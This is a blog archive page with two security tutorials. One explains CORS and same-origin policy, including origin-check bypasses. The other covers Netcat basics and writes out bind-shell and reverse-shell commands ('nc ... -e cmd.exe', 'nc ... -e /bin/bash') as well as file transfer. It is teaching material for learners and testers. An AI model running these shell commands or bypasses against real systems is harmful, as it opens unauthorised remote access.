Archives 2022

What is Cross-Origin Resource Sharing

Cross-Origin Resource Sharing (CORS) is an HTTP-header-based mechanism that allows a server to indicate any origins (domain, scheme, or port) other than its own from which a browser should permit loading resources. CORS also relies on a mechanism by which browsers make a “preflight” request to the server hosting the cross-origin resource, in order to check that the server will permit the actual request. In that preflight, the browser sends headers that indicate the HTTP method and headers that will be used in the actual request.

For the sake of security, browsers started using a rule called Same-Origin Policy (SOP). A rule that is enforced at the browser level to control access to data between web applications. While SOP alone won’t stop XSS or CSRF it does help out. SOP restricts how a resource is loaded by one origin can interact with a resource from another origin.

Breaking Down Origins

For those that are unfamiliar with what an origin is, it consists of three parts. The schema (protocol), hostname (domain), and the port. Now, as long as these three are the same they pass SOP without incident. Below are a couple of scenarios to demonstrate this. For this, we will say the requests are being made from https://site.com:443

http://site.com	Different scheme fails SOP
https://site.com/user	Same Origin Passes SOP
https://a.site.com	Different hostname fails SOP
https://site.com:8080	Different port fails SOP

SOP examples

CORS Headers Settings

CORS is a mechanism that uses HTTP Headers to define Origins that are exempt from SOP. The two headers that are used are Access-Control-Allow-Origin and Access-Control-Allow-Credentials. Access-Control-Allow-Origin (ACAO) syntax has three options, a wildcard *, a single <origin>, or null.

• *: any site is allowed to access resources
• <origin>: allows a specific site to access resources
• null: specifies if the origin is null allow resource access

ACAO header is only valid for publicly visible resources. For session/credential resources another header must be included.

Access-Control-Allow-Credentials allows cookies or other user credentials to be included in cross-origin requests. The only valid syntax for this header is true.

CORS Vulnerabilities

CORS vulnerabilities arise from misconfigurations of CORS. Since ACAO only allows one site or all sites settings developers must implement dynamic generation for multiple origin whitelisting. CORS misconfiguration is caused by flaws in the day dynamic generator for whitelisting is determined. Examples of flawed dynamic generation are as follows:

• Reflected: The server just reflects the origin of the request without any other ruling. This is the same as setting ACAO to the * wildcard.
• Parsing logic errors: If the dynamic generator checks if an origin started or ends with a value it is vulnerable. e.g. Check for bank.com. A bypass for starting with it would be using bank.com.evelcorp.com. The bypass for ending string matching would be evilcorpbank.com.
• Whitelisted null Origin Value: This would be the same as setting the * wildcard but worse because ACAC can be set to true in this case.

Finding CORS Vulnerabilities

Finding CORS vulnerabilities are similar to any hacking process. Map the application. Check each request able path for CORS headers. Even if during normal browsing CORS headers are absent this could be due to dynamically generated CORS headers. Using something like burpsuite to change the origin could reveal the origin being reflected via the ACAO header. Checking for parsing logic is the next form of dynamic generation testing. See if you can determine a regex parsing that could be exploited from a malicious origin. And of course, you also have the null syntax to test for. If null or a vulnerable dynamic parser is present these are to see if ACAC is set to true.

When searching for CORS vulnerabilities check to see if you can change the protocol. Will the site let you make the same request with HTTP as with HTTPS? If so this can be leveraged with other attack vectors. Once a CORS vulnerability has been found review the site’s functionality to determine the impact of the finding.

Netcat commands are designed to be a dependable back-end that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and investigation tool. Since it can produce almost any kind of connection its user could need and has a number of built-in capabilities. Netcat is a versatile tool that has been dubbed the Hackers’ Swiss Army Knife. Netcat exists as both Linux and Windows binaries. The simplest way to think of Netcat is “a tool that can read and write to TCP and UDP ports.”

Connection to a TCP/UDP Port

Connecting to a TCP/UDP port can be useful in several situations:

• Check if a port is open or closed
• Read a banner from a port
• Connect to a network service manually

Let’s say we want to see if port 110 is open to check if POP3 mail service is running. To do this we will run Netcat and have it try to connect by running the following command and see what we get back in response.

root@kali:~# nc -nv 10.0.0.16 110
(UNKOWN) [10.0.0.16] 110 (pop3) open

Netcat as Server and Client

Netcat can run as a server or as a client. This is one of the things that makes it such a useful tool. To start Netcat on your machine as a server all you have to do is supply the port number.

# Start Netcat as a listener
nc -nlvp 1337

Now that you have a system listing for a connection lets look at how to connect to it from another machine. To do this you will have to supply the same port number the listener is looking at but you also need to point over to the ip address.

# Connect to a ip and port as a client
nc -nv 10.0.0.22 1337

Netcat Commands: Different Types of Sessions

Netcat is a very ephemeral tool when it comes to sessions as the connections are very short lived. Now depending on the need and use that is a very good thing. But lets say for what ever reason you need it to be a little more solid. Maybe you want to be able to have multiple connections or you want to be able to reconnect after a previous session. We do this by using the -k argument. Keep in mind Netcat will throw an error if you try and use the -e argument in the same command.

# Force nc to listen for another connection after its current connection is closed
nc -nlvpk 1337

Netcat Commands: Bytes and File Transferring

Netcat can also be used to transfer files, both text and binary, from one computer to another. To send a file from a Linux machine to a Windows machine, we initiate a setup that is similar to the previous chat example, with some slight differences. On the Windows machine, we will set up a Netcat listener on port 1337 and redirect any incoming input into a file called input.exe.

# Server saving the sent file
C:\Users\Cody> nc -nlvp 1337 > input.exe

Now for the client machine we are going to send wget.exe to the Windows machine.

# Client sending the file
root@kali:~# nc -nv 10.0.0.16 1337 < /usr/share/windows-binaries/wget.exe
(UNKOWN) [10.0.0.16] 1337 (?) open

Don’t be alarmed since you won’t receive any feedback from Netcat about the file upload. While this example the file being small just wait a few seconds and then check if the file was uploaded. This can get nerve racking for larger things like log files. But data exfiltration of that level isn’t what Netcat is usually used for anyways. So lets get into one of the most useful features of Netcat. Binding shells.

Netcat Commands: Bind a shell

One of the most useful features of Netcat is its ability to do command redirections. Netcat can take an executable file and redirect the input, output, and error messages to a TCP/UDP port rather than the default console. For an example lets consider the cmd.exe executable. By redirecting the stdin, stdout, and stderr to the network, you can bind cmd.exe to a local port. Any connection to this port will be presented with a command prompt belonging to this computer. Lets run threw some scenarios to make sense of this ability. Lets say Bob (running Windows) has requested Alice’s assistance (running Linux) and has asked her to connect to his computer and issue some commands remotely. Bob has a public IP address, and is directly connected to the internet. Alice is behind a NAT’d connection, and has an internal IP address.

To get the help he needs Bob needs to bind cmd.exe to a TCP port on his public IP address, and ask Alice to connect to this particular IP and port. This can be done by the following Netcat commands.

C:\Users\Bob>nc -nlvp 4444 -e cmd.exe
listening on [any] 4444 ...

Netcat has bound TCP port 4444 to cmd.exe and will redirect any input, output, or error messages from cmd.exe to the network. Anyone connection to TCP port 4444 on Bob’s machine will be presented with Bob’s command prompt. This as you can guess is extremely dangerous to leave open long term. That is fine if you have a public IP for another to connect to but what if the roles where reversed?

Netcat Commands: Reverse Bind Shell

The Netcat commands for reversing a bind shell isn’t overly complicated. Using the same two people from the last example lets see what Alice can do to give Bob a shell. Alice cannot bind a port to /bin/bash locally on her computer and expect Bob to connect. She can send control of her command prompt to Bob’s machine, instead. This is known as a reverse shell. To get this working, Bob needs to setup Netcat to listen for an incoming shell.

C:\Users\Bob>nc -nlvp 4444
listening on [any] 4444 ...

Now to send the reverse shell command from Alice’s machine.

Alice@kail:~# nc -nv 10.0.0.16 4444 -e /bin/bash
(UNKNOWN) [10.0.0.16] 4444 (?) open

Once the connection is established, Alice’s Netcat will have redirected input, output, and error from /bin/bash, to Bob’s machine, on port 4444. If you’ve found this article about network manipulation feel free to check out this other post on arp-spoofing for more network hacking techniques.